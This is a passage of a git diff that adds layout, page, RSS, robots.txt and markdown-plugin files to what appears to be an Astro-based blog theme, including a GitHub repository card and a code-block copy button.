||||
wheelToZoom: true,
|
||||
arrowPrev: false,
|
||||
arrowNext: false,
|
||||
imageClickAction: 'close',
|
||||
tapAction: 'close',
|
||||
doubleTapAction: 'zoom',
|
||||
})
|
||||
|
||||
lightbox.addFilter("domItemData", (itemData, element) => {
|
||||
if (element instanceof HTMLImageElement) {
|
||||
itemData.src = element.src
|
||||
|
||||
itemData.w = Number(element.naturalWidth || window.innerWidth)
|
||||
itemData.h = Number(element.naturalHeight || window.innerHeight)
|
||||
|
||||
itemData.msrc = element.src
|
||||
}
|
||||
|
||||
return itemData
|
||||
})
|
||||
|
||||
lightbox.init()
|
||||
}
|
||||
|
||||
const setup = () => {
|
||||
if (!lightbox) {
|
||||
createPhotoSwipe()
|
||||
}
|
||||
window.swup.hooks.on("page:view", () => {
|
||||
createPhotoSwipe()
|
||||
})
|
||||
|
||||
window.swup.hooks.on(
|
||||
"content:replace",
|
||||
() => {
|
||||
lightbox?.destroy?.()
|
||||
},
|
||||
{ before: true },
|
||||
)
|
||||
}
|
||||
|
||||
if (window.swup) {
|
||||
setup()
|
||||
} else {
|
||||
document.addEventListener("swup:enable", setup)
|
||||
}
|
||||
</script>
|
||||
125
src/layouts/MainGridLayout.astro
Normal file
125
src/layouts/MainGridLayout.astro
Normal file
@ -0,0 +1,125 @@
|
||||
---
|
||||
import BackToTop from "@components/control/BackToTop.astro";
|
||||
import Footer from "@components/Footer.astro";
|
||||
import Navbar from "@components/Navbar.astro";
|
||||
import SideBar from "@components/widget/SideBar.astro";
|
||||
import type { MarkdownHeading } from "astro";
|
||||
import { Icon } from "astro-icon/components";
|
||||
import ImageWrapper from "../components/misc/ImageWrapper.astro";
|
||||
import TOC from "../components/widget/TOC.astro";
|
||||
import { siteConfig } from "../config";
|
||||
import {
|
||||
BANNER_HEIGHT,
|
||||
BANNER_HEIGHT_EXTEND,
|
||||
MAIN_PANEL_OVERLAPS_BANNER_HEIGHT,
|
||||
} from "../constants/constants";
|
||||
import Layout from "./Layout.astro";
|
||||
|
||||
interface Props {
|
||||
title?: string;
|
||||
banner?: string;
|
||||
description?: string;
|
||||
lang?: string;
|
||||
setOGTypeArticle?: boolean;
|
||||
headings?: MarkdownHeading[];
|
||||
}
|
||||
|
||||
const {
|
||||
title,
|
||||
banner,
|
||||
description,
|
||||
lang,
|
||||
setOGTypeArticle,
|
||||
headings = [],
|
||||
} = Astro.props;
|
||||
const hasBannerCredit =
|
||||
siteConfig.banner.enable && siteConfig.banner.credit.enable;
|
||||
const hasBannerLink = !!siteConfig.banner.credit.url;
|
||||
|
||||
const mainPanelTop = siteConfig.banner.enable
|
||||
? `calc(${BANNER_HEIGHT}vh - ${MAIN_PANEL_OVERLAPS_BANNER_HEIGHT}rem)`
|
||||
: "5.5rem";
|
||||
---
|
||||
|
||||
<Layout title={title} banner={banner} description={description} lang={lang} setOGTypeArticle={setOGTypeArticle}>
|
||||
|
||||
<!-- Navbar -->
|
||||
<slot slot="head" name="head"></slot>
|
||||
<div id="top-row" class="z-50 pointer-events-none relative transition-all duration-700 max-w-[var(--page-width)] px-0 md:px-4 mx-auto" class:list={[""]}>
|
||||
<div id="navbar-wrapper" class="pointer-events-auto sticky top-0 transition-all">
|
||||
<Navbar></Navbar>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Banner -->
|
||||
{siteConfig.banner.enable && <div id="banner-wrapper" class={`absolute z-10 w-full transition duration-700 overflow-hidden`} style={`top: -${BANNER_HEIGHT_EXTEND}vh`}>
|
||||
<ImageWrapper id="banner" alt="Banner image of the blog" class:list={["object-cover h-full transition duration-700 opacity-0 scale-105"]}
|
||||
src={siteConfig.banner.src} position={siteConfig.banner.position}
|
||||
>
|
||||
</ImageWrapper>
|
||||
</div>}
|
||||
|
||||
<!-- Main content -->
|
||||
<div class="absolute w-full z-30 pointer-events-none" style={`top: ${mainPanelTop}`}>
|
||||
<!-- The pointer-events-none here prevent blocking the click event of the TOC -->
|
||||
<div class="relative max-w-[var(--page-width)] mx-auto pointer-events-auto">
|
||||
<div id="main-grid" class="transition duration-700 w-full left-0 right-0 grid grid-cols-[17.5rem_auto] grid-rows-[auto_1fr_auto] lg:grid-rows-[auto]
|
||||
mx-auto gap-4 px-0 md:px-4"
|
||||
>
|
||||
<!-- Banner image credit -->
|
||||
{hasBannerCredit && <a href={siteConfig.banner.credit.url} id="banner-credit" target="_blank" rel="noopener" aria-label="Visit image source"
|
||||
class:list={["group onload-animation transition-all absolute flex justify-center items-center rounded-full " +
|
||||
"px-3 right-4 -top-[3.25rem] bg-black/60 hover:bg-black/70 h-9", {"hover:pr-9 active:bg-black/80": hasBannerLink}]}
|
||||
>
|
||||
<Icon class="text-white/75 text-[1.25rem] mr-1" name="material-symbols:copyright-outline-rounded" ></Icon>
|
||||
<div class="text-white/75 text-xs">{siteConfig.banner.credit.text}</div>
|
||||
<Icon class:list={["transition absolute text-[oklch(0.75_0.14_var(--hue))] right-4 text-[0.75rem] opacity-0",
|
||||
{"group-hover:opacity-100": hasBannerLink}]}
|
||||
name="fa6-solid:arrow-up-right-from-square">
|
||||
</Icon>
|
||||
</a>}
|
||||
|
||||
|
||||
<SideBar class="mb-4 row-start-2 row-end-3 col-span-2 lg:row-start-1 lg:row-end-2 lg:col-span-1 lg:max-w-[17.5rem] onload-animation" headings={headings}></SideBar>
|
||||
|
||||
<main id="swup-container" class="transition-swup-fade col-span-2 lg:col-span-1 overflow-hidden">
|
||||
<div id="content-wrapper" class="onload-animation">
|
||||
<!-- the overflow-hidden here prevent long text break the layout-->
|
||||
<!-- make id different from windows.swup global property -->
|
||||
<slot></slot>
|
||||
<div class="footer col-span-2 onload-animation hidden lg:block">
|
||||
<Footer></Footer>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<div class="footer col-span-2 onload-animation block lg:hidden">
|
||||
<Footer></Footer>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<BackToTop></BackToTop>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- The things that should be under the banner, only the TOC for now -->
|
||||
<div class="absolute w-full z-0 hidden 2xl:block">
|
||||
<div class="relative max-w-[var(--page-width)] mx-auto">
|
||||
<!-- TOC component -->
|
||||
{siteConfig.toc.enable && <div id="toc-wrapper" class:list={["hidden lg:block transition absolute top-0 -right-[var(--toc-width)] w-[var(--toc-width)] items-center",
|
||||
{"toc-hide": siteConfig.banner.enable}]}
|
||||
>
|
||||
<div id="toc-inner-wrapper" class="fixed top-14 w-[var(--toc-width)] h-[calc(100vh_-_20rem)] overflow-y-scroll overflow-x-hidden hide-scrollbar">
|
||||
<div id="toc" class="w-full h-full transition-swup-fade ">
|
||||
<div class="h-8 w-full"></div>
|
||||
<TOC headings={headings}></TOC>
|
||||
<div class="h-8 w-full"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>}
|
||||
|
||||
<!-- #toc needs to exist for Swup to work normally -->
|
||||
{!siteConfig.toc.enable && <div id="toc"></div>}
|
||||
</div>
|
||||
</div>
|
||||
</Layout>
|
||||
23
src/pages/[...page].astro
Normal file
23
src/pages/[...page].astro
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
import type { GetStaticPaths } from "astro";
|
||||
import Pagination from "../components/control/Pagination.astro";
|
||||
import PostPage from "../components/PostPage.astro";
|
||||
import { PAGE_SIZE } from "../constants/constants";
|
||||
import MainGridLayout from "../layouts/MainGridLayout.astro";
|
||||
import { getSortedPosts } from "../utils/content-utils";
|
||||
|
||||
export const getStaticPaths = (async ({ paginate }) => {
|
||||
const allBlogPosts = await getSortedPosts();
|
||||
return paginate(allBlogPosts, { pageSize: PAGE_SIZE });
|
||||
}) satisfies GetStaticPaths;
|
||||
// https://github.com/withastro/astro/issues/6507#issuecomment-1489916992
|
||||
|
||||
const { page } = Astro.props;
|
||||
|
||||
const len = page.data.length;
|
||||
---
|
||||
|
||||
<MainGridLayout>
|
||||
<PostPage page={page}></PostPage>
|
||||
<Pagination class="mx-auto onload-animation" page={page} style={`animation-delay: calc(var(--content-delay) + ${(len)*50}ms)`}></Pagination>
|
||||
</MainGridLayout>
|
||||
25
src/pages/about.astro
Normal file
25
src/pages/about.astro
Normal file
@ -0,0 +1,25 @@
|
||||
---
|
||||
|
||||
import { getEntry, render } from "astro:content";
|
||||
import Markdown from "@components/misc/Markdown.astro";
|
||||
import I18nKey from "../i18n/i18nKey";
|
||||
import { i18n } from "../i18n/translation";
|
||||
import MainGridLayout from "../layouts/MainGridLayout.astro";
|
||||
|
||||
const aboutPost = await getEntry("spec", "about");
|
||||
|
||||
if (!aboutPost) {
|
||||
throw new Error("About page content not found");
|
||||
}
|
||||
|
||||
const { Content } = await render(aboutPost);
|
||||
---
|
||||
<MainGridLayout title={i18n(I18nKey.about)} description={i18n(I18nKey.about)}>
|
||||
<div class="flex w-full rounded-[var(--radius-large)] overflow-hidden relative min-h-32">
|
||||
<div class="card-base z-10 px-9 py-6 relative w-full ">
|
||||
<Markdown class="mt-2">
|
||||
<Content />
|
||||
</Markdown>
|
||||
</div>
|
||||
</div>
|
||||
</MainGridLayout>
|
||||
14
src/pages/archive.astro
Normal file
14
src/pages/archive.astro
Normal file
@ -0,0 +1,14 @@
|
||||
---
|
||||
import ArchivePanel from "@components/ArchivePanel.svelte";
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import MainGridLayout from "@layouts/MainGridLayout.astro";
|
||||
import { getSortedPostsList } from "../utils/content-utils";
|
||||
|
||||
const sortedPostsList = await getSortedPostsList();
|
||||
---
|
||||
|
||||
<MainGridLayout title={i18n(I18nKey.archive)}>
|
||||
<ArchivePanel sortedPosts={sortedPostsList} client:only="svelte"></ArchivePanel>
|
||||
</MainGridLayout>
|
||||
|
||||
136
src/pages/posts/[...slug].astro
Normal file
136
src/pages/posts/[...slug].astro
Normal file
@ -0,0 +1,136 @@
|
||||
---
|
||||
import path from "node:path";
|
||||
import License from "@components/misc/License.astro";
|
||||
import Markdown from "@components/misc/Markdown.astro";
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import MainGridLayout from "@layouts/MainGridLayout.astro";
|
||||
import { getSortedPosts } from "@utils/content-utils";
|
||||
import { getDir, getPostUrlBySlug } from "@utils/url-utils";
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { licenseConfig } from "src/config";
|
||||
import ImageWrapper from "../../components/misc/ImageWrapper.astro";
|
||||
import PostMetadata from "../../components/PostMeta.astro";
|
||||
import { profileConfig, siteConfig } from "../../config";
|
||||
import { formatDateToYYYYMMDD } from "../../utils/date-utils";
|
||||
|
||||
export async function getStaticPaths() {
|
||||
const blogEntries = await getSortedPosts();
|
||||
return blogEntries.map((entry) => ({
|
||||
params: { slug: entry.slug },
|
||||
props: { entry },
|
||||
}));
|
||||
}
|
||||
|
||||
const { entry } = Astro.props;
|
||||
const { Content, headings } = await entry.render();
|
||||
|
||||
const { remarkPluginFrontmatter } = await entry.render();
|
||||
|
||||
const jsonLd = {
|
||||
"@context": "https://schema.org",
|
||||
"@type": "BlogPosting",
|
||||
headline: entry.data.title,
|
||||
description: entry.data.description || entry.data.title,
|
||||
keywords: entry.data.tags,
|
||||
author: {
|
||||
"@type": "Person",
|
||||
name: profileConfig.name,
|
||||
url: Astro.site,
|
||||
},
|
||||
datePublished: formatDateToYYYYMMDD(entry.data.published),
|
||||
inLanguage: entry.data.lang
|
||||
? entry.data.lang.replace("_", "-")
|
||||
: siteConfig.lang.replace("_", "-"),
|
||||
// TODO include cover image here
|
||||
};
|
||||
---
|
||||
<MainGridLayout banner={entry.data.image} title={entry.data.title} description={entry.data.description} lang={entry.data.lang} setOGTypeArticle={true} headings={headings}>
|
||||
<script is:inline slot="head" type="application/ld+json" set:html={JSON.stringify(jsonLd)}></script>
|
||||
<div class="flex w-full rounded-[var(--radius-large)] overflow-hidden relative mb-4">
|
||||
<div id="post-container" class:list={["card-base z-10 px-6 md:px-9 pt-6 pb-4 relative w-full ",
|
||||
{}
|
||||
]}>
|
||||
<!-- word count and reading time -->
|
||||
<div class="flex flex-row text-black/30 dark:text-white/30 gap-5 mb-3 transition onload-animation">
|
||||
<div class="flex flex-row items-center">
|
||||
<div class="transition h-6 w-6 rounded-md bg-black/5 dark:bg-white/10 text-black/50 dark:text-white/50 flex items-center justify-center mr-2">
|
||||
<Icon name="material-symbols:notes-rounded"></Icon>
|
||||
</div>
|
||||
<div class="text-sm">{remarkPluginFrontmatter.words} {" " + i18n(I18nKey.wordsCount)}</div>
|
||||
</div>
|
||||
<div class="flex flex-row items-center">
|
||||
<div class="transition h-6 w-6 rounded-md bg-black/5 dark:bg-white/10 text-black/50 dark:text-white/50 flex items-center justify-center mr-2">
|
||||
<Icon name="material-symbols:schedule-outline-rounded"></Icon>
|
||||
</div>
|
||||
<div class="text-sm">
|
||||
{remarkPluginFrontmatter.minutes} {" " + i18n(remarkPluginFrontmatter.minutes === 1 ? I18nKey.minuteCount : I18nKey.minutesCount)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- title -->
|
||||
<div class="relative onload-animation">
|
||||
<div
|
||||
data-pagefind-body data-pagefind-weight="10" data-pagefind-meta="title"
|
||||
class="transition w-full block font-bold mb-3
|
||||
text-3xl md:text-[2.25rem]/[2.75rem]
|
||||
text-black/90 dark:text-white/90
|
||||
md:before:w-1 before:h-5 before:rounded-md before:bg-[var(--primary)]
|
||||
before:absolute before:top-[0.75rem] before:left-[-1.125rem]
|
||||
">
|
||||
{entry.data.title}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- metadata -->
|
||||
<div class="onload-animation">
|
||||
<PostMetadata
|
||||
class="mb-5"
|
||||
published={entry.data.published}
|
||||
updated={entry.data.updated}
|
||||
tags={entry.data.tags}
|
||||
category={entry.data.category}
|
||||
></PostMetadata>
|
||||
{!entry.data.image && <div class="border-[var(--line-divider)] border-dashed border-b-[1px] mb-5"></div>}
|
||||
</div>
|
||||
|
||||
<!-- always show cover as long as it has one -->
|
||||
|
||||
{entry.data.image &&
|
||||
<ImageWrapper id="post-cover" src={entry.data.image} basePath={path.join("content/posts/", getDir(entry.id))} class="mb-8 rounded-xl banner-container onload-animation"/>
|
||||
}
|
||||
|
||||
|
||||
<Markdown class="mb-6 markdown-content onload-animation">
|
||||
<Content />
|
||||
</Markdown>
|
||||
|
||||
{licenseConfig.enable && <License title={entry.data.title} slug={entry.slug} pubDate={entry.data.published} class="mb-6 rounded-xl license-container onload-animation"></License>}
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex flex-col md:flex-row justify-between mb-4 gap-4 overflow-hidden w-full">
|
||||
<a href={entry.data.nextSlug ? getPostUrlBySlug(entry.data.nextSlug) : "#"}
|
||||
class:list={["w-full font-bold overflow-hidden active:scale-95", {"pointer-events-none": !entry.data.nextSlug}]}>
|
||||
{entry.data.nextSlug && <div class="btn-card rounded-2xl w-full h-[3.75rem] max-w-full px-4 flex items-center !justify-start gap-4" >
|
||||
<Icon name="material-symbols:chevron-left-rounded" class="text-[2rem] text-[var(--primary)]" />
|
||||
<div class="overflow-hidden transition overflow-ellipsis whitespace-nowrap max-w-[calc(100%_-_3rem)] text-black/75 dark:text-white/75">
|
||||
{entry.data.nextTitle}
|
||||
</div>
|
||||
</div>}
|
||||
</a>
|
||||
|
||||
<a href={entry.data.prevSlug ? getPostUrlBySlug(entry.data.prevSlug) : "#"}
|
||||
class:list={["w-full font-bold overflow-hidden active:scale-95", {"pointer-events-none": !entry.data.prevSlug}]}>
|
||||
{entry.data.prevSlug && <div class="btn-card rounded-2xl w-full h-[3.75rem] max-w-full px-4 flex items-center !justify-end gap-4">
|
||||
<div class="overflow-hidden transition overflow-ellipsis whitespace-nowrap max-w-[calc(100%_-_3rem)] text-black/75 dark:text-white/75">
|
||||
{entry.data.prevTitle}
|
||||
</div>
|
||||
<Icon name="material-symbols:chevron-right-rounded" class="text-[2rem] text-[var(--primary)]" />
|
||||
</div>}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</MainGridLayout>
|
||||
16
src/pages/robots.txt.ts
Normal file
16
src/pages/robots.txt.ts
Normal file
@ -0,0 +1,16 @@
|
||||
import type { APIRoute } from "astro";
|
||||
|
||||
const robotsTxt = `
|
||||
User-agent: *
|
||||
Disallow: /_astro/
|
||||
|
||||
Sitemap: ${new URL("sitemap-index.xml", import.meta.env.SITE).href}
|
||||
`.trim();
|
||||
|
||||
export const GET: APIRoute = () => {
|
||||
return new Response(robotsTxt, {
|
||||
headers: {
|
||||
"Content-Type": "text/plain; charset=utf-8",
|
||||
},
|
||||
});
|
||||
};
|
||||
42
src/pages/rss.xml.ts
Normal file
42
src/pages/rss.xml.ts
Normal file
@ -0,0 +1,42 @@
|
||||
import rss from "@astrojs/rss";
|
||||
import { getSortedPosts } from "@utils/content-utils";
|
||||
import { url } from "@utils/url-utils";
|
||||
import type { APIContext } from "astro";
|
||||
import MarkdownIt from "markdown-it";
|
||||
import sanitizeHtml from "sanitize-html";
|
||||
import { siteConfig } from "@/config";
|
||||
|
||||
const parser = new MarkdownIt();
|
||||
|
||||
function stripInvalidXmlChars(str: string): string {
|
||||
return str.replace(
|
||||
// biome-ignore lint/suspicious/noControlCharactersInRegex: https://www.w3.org/TR/xml/#charsets
|
||||
/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x9F\uFDD0-\uFDEF\uFFFE\uFFFF]/g,
|
||||
"",
|
||||
);
|
||||
}
|
||||
|
||||
export async function GET(context: APIContext) {
|
||||
const blog = await getSortedPosts();
|
||||
|
||||
return rss({
|
||||
title: siteConfig.title,
|
||||
description: siteConfig.subtitle || "No description",
|
||||
site: context.site ?? "https://fuwari.vercel.app",
|
||||
items: blog.map((post) => {
|
||||
const content =
|
||||
typeof post.body === "string" ? post.body : String(post.body || "");
|
||||
const cleanedContent = stripInvalidXmlChars(content);
|
||||
return {
|
||||
title: post.data.title,
|
||||
pubDate: post.data.published,
|
||||
description: post.data.description || "",
|
||||
link: url(`/posts/${post.slug}/`),
|
||||
content: sanitizeHtml(parser.render(cleanedContent), {
|
||||
allowedTags: sanitizeHtml.defaults.allowedTags.concat(["img"]),
|
||||
}),
|
||||
};
|
||||
}),
|
||||
customData: `<language>${siteConfig.lang}</language>`,
|
||||
});
|
||||
}
|
||||
90
src/plugins/expressive-code/custom-copy-button.ts
Normal file
90
src/plugins/expressive-code/custom-copy-button.ts
Normal file
@ -0,0 +1,90 @@
|
||||
import { definePlugin } from "@expressive-code/core";
|
||||
import type { Element } from "hast";
|
||||
|
||||
export function pluginCustomCopyButton() {
|
||||
return definePlugin({
|
||||
name: "Custom Copy Button",
|
||||
hooks: {
|
||||
postprocessRenderedBlock: (context) => {
|
||||
function traverse(node: Element) {
|
||||
if (node.type === "element" && node.tagName === "pre") {
|
||||
processCodeBlock(node);
|
||||
return;
|
||||
}
|
||||
if (node.children) {
|
||||
for (const child of node.children) {
|
||||
if (child.type === "element") traverse(child);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function processCodeBlock(node: Element) {
|
||||
const copyButton = {
|
||||
type: "element" as const,
|
||||
tagName: "button",
|
||||
properties: {
|
||||
className: ["copy-btn"],
|
||||
"aria-label": "Copy code",
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: "element" as const,
|
||||
tagName: "div",
|
||||
properties: {
|
||||
className: ["copy-btn-icon"],
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: "element" as const,
|
||||
tagName: "svg",
|
||||
properties: {
|
||||
viewBox: "0 -960 960 960",
|
||||
xmlns: "http://www.w3.org/2000/svg",
|
||||
className: ["copy-btn-icon", "copy-icon"],
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: "element" as const,
|
||||
tagName: "path",
|
||||
properties: {
|
||||
d: "M368.37-237.37q-34.48 0-58.74-24.26-24.26-24.26-24.26-58.74v-474.26q0-34.48 24.26-58.74 24.26-24.26 58.74-24.26h378.26q34.48 0 58.74 24.26 24.26 24.26 24.26 58.74v474.26q0 34.48-24.26 58.74-24.26 24.26-58.74 24.26H368.37Zm0-83h378.26v-474.26H368.37v474.26Zm-155 238q-34.48 0-58.74-24.26-24.26-24.26-24.26-58.74v-515.76q0-17.45 11.96-29.48 11.97-12.02 29.33-12.02t29.54 12.02q12.17 12.03 12.17 29.48v515.76h419.76q17.45 0 29.48 11.96 12.02 11.97 12.02 29.33t-12.02 29.54q-12.03 12.17-29.48 12.17H213.37Zm155-238v-474.26 474.26Z",
|
||||
},
|
||||
children: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
type: "element" as const,
|
||||
tagName: "svg",
|
||||
properties: {
|
||||
viewBox: "0 -960 960 960",
|
||||
xmlns: "http://www.w3.org/2000/svg",
|
||||
className: ["copy-btn-icon", "success-icon"],
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: "element" as const,
|
||||
tagName: "path",
|
||||
properties: {
|
||||
d: "m389-377.13 294.7-294.7q12.58-12.67 29.52-12.67 16.93 0 29.61 12.67 12.67 12.68 12.67 29.53 0 16.86-12.28 29.14L419.07-288.41q-12.59 12.67-29.52 12.67-16.94 0-29.62-12.67L217.41-430.93q-12.67-12.68-12.79-29.45-.12-16.77 12.55-29.45 12.68-12.67 29.62-12.67 16.93 0 29.28 12.67L389-377.13Z",
|
||||
},
|
||||
children: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
} as Element;
|
||||
|
||||
if (!node.children) {
|
||||
node.children = [];
|
||||
}
|
||||
node.children.push(copyButton);
|
||||
}
|
||||
|
||||
traverse(context.renderData.blockAst);
|
||||
},
|
||||
},
|
||||
});
|
||||
}
|
||||
50
src/plugins/expressive-code/language-badge.ts
Normal file
50
src/plugins/expressive-code/language-badge.ts
Normal file
@ -0,0 +1,50 @@
|
||||
/**
|
||||
* Based on the discussion at https://github.com/expressive-code/expressive-code/issues/153#issuecomment-2282218684
|
||||
*/
|
||||
import { definePlugin } from "@expressive-code/core";
|
||||
|
||||
export function pluginLanguageBadge() {
|
||||
return definePlugin({
|
||||
name: "Language Badge",
|
||||
// @ts-expect-error
|
||||
baseStyles: ({ _cssVar }) => `
|
||||
[data-language]::before {
|
||||
position: absolute;
|
||||
z-index: 2;
|
||||
right: 0.5rem;
|
||||
top: 0.5rem;
|
||||
padding: 0.1rem 0.5rem;
|
||||
content: attr(data-language);
|
||||
font-family: "JetBrains Mono Variable", ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
|
||||
font-size: 0.75rem;
|
||||
font-weight: bold;
|
||||
text-transform: uppercase;
|
||||
color: oklch(0.75 0.1 var(--hue));
|
||||
background: oklch(0.33 0.035 var(--hue));
|
||||
border-radius: 0.5rem;
|
||||
pointer-events: none;
|
||||
transition: opacity 0.3s;
|
||||
opacity: 0;
|
||||
}
|
||||
.frame:not(.has-title):not(.is-terminal) {
|
||||
@media (hover: none) {
|
||||
& [data-language]::before {
|
||||
opacity: 1;
|
||||
margin-right: 3rem;
|
||||
}
|
||||
& [data-language]:active::before {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
@media (hover: hover) {
|
||||
& [data-language]::before {
|
||||
opacity: 1;
|
||||
}
|
||||
&:hover [data-language]::before {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
`,
|
||||
});
|
||||
}
|
||||
33
src/plugins/rehype-component-admonition.mjs
Normal file
33
src/plugins/rehype-component-admonition.mjs
Normal file
@ -0,0 +1,33 @@
|
||||
/// <reference types="mdast" />
|
||||
import { h } from "hastscript";
|
||||
|
||||
/**
|
||||
* Creates an admonition component.
|
||||
*
|
||||
* @param {Object} properties - The properties of the component.
|
||||
* @param {string} [properties.title] - An optional title.
|
||||
* @param {('tip'|'note'|'important'|'caution'|'warning')} type - The admonition type.
|
||||
* @param {import('mdast').RootContent[]} children - The children elements of the component.
|
||||
* @returns {import('mdast').Parent} The created admonition component.
|
||||
*/
|
||||
export function AdmonitionComponent(properties, children, type) {
|
||||
if (!Array.isArray(children) || children.length === 0)
|
||||
return h(
|
||||
"div",
|
||||
{ class: "hidden" },
|
||||
'Invalid admonition directive. (Admonition directives must be of block type ":::note{name="name"} <content> :::")',
|
||||
);
|
||||
|
||||
let label = null;
|
||||
if (properties?.["has-directive-label"]) {
|
||||
label = children[0]; // The first child is the label
|
||||
// biome-ignore lint/style/noParameterAssign: <check later>
|
||||
children = children.slice(1);
|
||||
label.tagName = "div"; // Change the tag <p> to <div>
|
||||
}
|
||||
|
||||
return h("blockquote", { class: `admonition bdm-${type}` }, [
|
||||
h("span", { class: "bdm-title" }, label ? label : type.toUpperCase()),
|
||||
...children,
|
||||
]);
|
||||
}
|
||||
95
src/plugins/rehype-component-github-card.mjs
Normal file
95
src/plugins/rehype-component-github-card.mjs
Normal file
@ -0,0 +1,95 @@
|
||||
/// <reference types="mdast" />
|
||||
import { h } from "hastscript";
|
||||
|
||||
/**
|
||||
* Creates a GitHub Card component.
|
||||
*
|
||||
* @param {Object} properties - The properties of the component.
|
||||
* @param {string} properties.repo - The GitHub repository in the format "owner/repo".
|
||||
* @param {import('mdast').RootContent[]} children - The children elements of the component.
|
||||
* @returns {import('mdast').Parent} The created GitHub Card component.
|
||||
*/
|
||||
export function GithubCardComponent(properties, children) {
|
||||
if (Array.isArray(children) && children.length !== 0)
|
||||
return h("div", { class: "hidden" }, [
|
||||
'Invalid directive. ("github" directive must be leaf type "::github{repo="owner/repo"}")',
|
||||
]);
|
||||
|
||||
if (!properties.repo || !properties.repo.includes("/"))
|
||||
return h(
|
||||
"div",
|
||||
{ class: "hidden" },
|
||||
'Invalid repository. ("repo" attributte must be in the format "owner/repo")',
|
||||
);
|
||||
|
||||
const repo = properties.repo;
|
||||
const cardUuid = `GC${Math.random().toString(36).slice(-6)}`; // Collisions are not important
|
||||
|
||||
const nAvatar = h(`div#${cardUuid}-avatar`, { class: "gc-avatar" });
|
||||
const nLanguage = h(
|
||||
`span#${cardUuid}-language`,
|
||||
{ class: "gc-language" },
|
||||
"Waiting...",
|
||||
);
|
||||
|
||||
const nTitle = h("div", { class: "gc-titlebar" }, [
|
||||
h("div", { class: "gc-titlebar-left" }, [
|
||||
h("div", { class: "gc-owner" }, [
|
||||
nAvatar,
|
||||
h("div", { class: "gc-user" }, repo.split("/")[0]),
|
||||
]),
|
||||
h("div", { class: "gc-divider" }, "/"),
|
||||
h("div", { class: "gc-repo" }, repo.split("/")[1]),
|
||||
]),
|
||||
h("div", { class: "github-logo" }),
|
||||
]);
|
||||
|
||||
const nDescription = h(
|
||||
`div#${cardUuid}-description`,
|
||||
{ class: "gc-description" },
|
||||
"Waiting for api.github.com...",
|
||||
);
|
||||
|
||||
const nStars = h(`div#${cardUuid}-stars`, { class: "gc-stars" }, "00K");
|
||||
const nForks = h(`div#${cardUuid}-forks`, { class: "gc-forks" }, "0K");
|
||||
const nLicense = h(`div#${cardUuid}-license`, { class: "gc-license" }, "0K");
|
||||
|
||||
const nScript = h(
|
||||
`script#${cardUuid}-script`,
|
||||
{ type: "text/javascript", defer: true },
|
||||
`
|
||||
fetch('https://api.github.com/repos/${repo}', { referrerPolicy: "no-referrer" }).then(response => response.json()).then(data => {
|
||||
document.getElementById('${cardUuid}-description').innerText = data.description?.replace(/:[a-zA-Z0-9_]+:/g, '') || "Description not set";
|
||||
document.getElementById('${cardUuid}-language').innerText = data.language;
|
||||
document.getElementById('${cardUuid}-forks').innerText = Intl.NumberFormat('en-us', { notation: "compact", maximumFractionDigits: 1 }).format(data.forks).replaceAll("\u202f", '');
|
||||
document.getElementById('${cardUuid}-stars').innerText = Intl.NumberFormat('en-us', { notation: "compact", maximumFractionDigits: 1 }).format(data.stargazers_count).replaceAll("\u202f", '');
|
||||
const avatarEl = document.getElementById('${cardUuid}-avatar');
|
||||
avatarEl.style.backgroundImage = 'url(' + data.owner.avatar_url + ')';
|
||||
avatarEl.style.backgroundColor = 'transparent';
|
||||
document.getElementById('${cardUuid}-license').innerText = data.license?.spdx_id || "no-license";
|
||||
document.getElementById('${cardUuid}-card').classList.remove("fetch-waiting");
|
||||
console.log("[GITHUB-CARD] Loaded card for ${repo} | ${cardUuid}.")
|
||||
}).catch(err => {
|
||||
const c = document.getElementById('${cardUuid}-card');
|
||||
c?.classList.add("fetch-error");
|
||||
console.warn("[GITHUB-CARD] (Error) Loading card for ${repo} | ${cardUuid}.")
|
||||
})
|
||||
`,
|
||||
);
|
||||
|
||||
return h(
|
||||
`a#${cardUuid}-card`,
|
||||
{
|
||||
class: "card-github fetch-waiting no-styling",
|
||||
href: `https://github.com/${repo}`,
|
||||
target: "_blank",
|
||||
repo,
|
||||
},
|
||||
[
|
||||
nTitle,
|
||||
nDescription,
|
||||
h("div", { class: "gc-infobar" }, [nStars, nForks, nLicense, nLanguage]),
|
||||
nScript,
|
||||
],
|
||||
);
|
||||
}
|
||||
30
src/plugins/remark-directive-rehype.js
Normal file
30
src/plugins/remark-directive-rehype.js
Normal file
@ -0,0 +1,30 @@
|
||||
import { h } from "hastscript";
|
||||
import { visit } from "unist-util-visit";
|
||||
|
||||
export function parseDirectiveNode() {
|
||||
return (tree, { _data }) => {
|
||||
visit(tree, (node) => {
|
||||
if (
|
||||
node.type === "containerDirective" ||
|
||||
node.type === "leafDirective" ||
|
||||
node.type === "textDirective"
|
||||
) {
|
||||
// biome-ignore lint/suspicious/noAssignInExpressions: <check later>
|
||||
const data = node.data || (node.data = {});
|
||||
node.attributes = node.attributes || {};
|
||||
if (
|
||||
node.children.length > 0 &&
|
||||
node.children[0].data &&
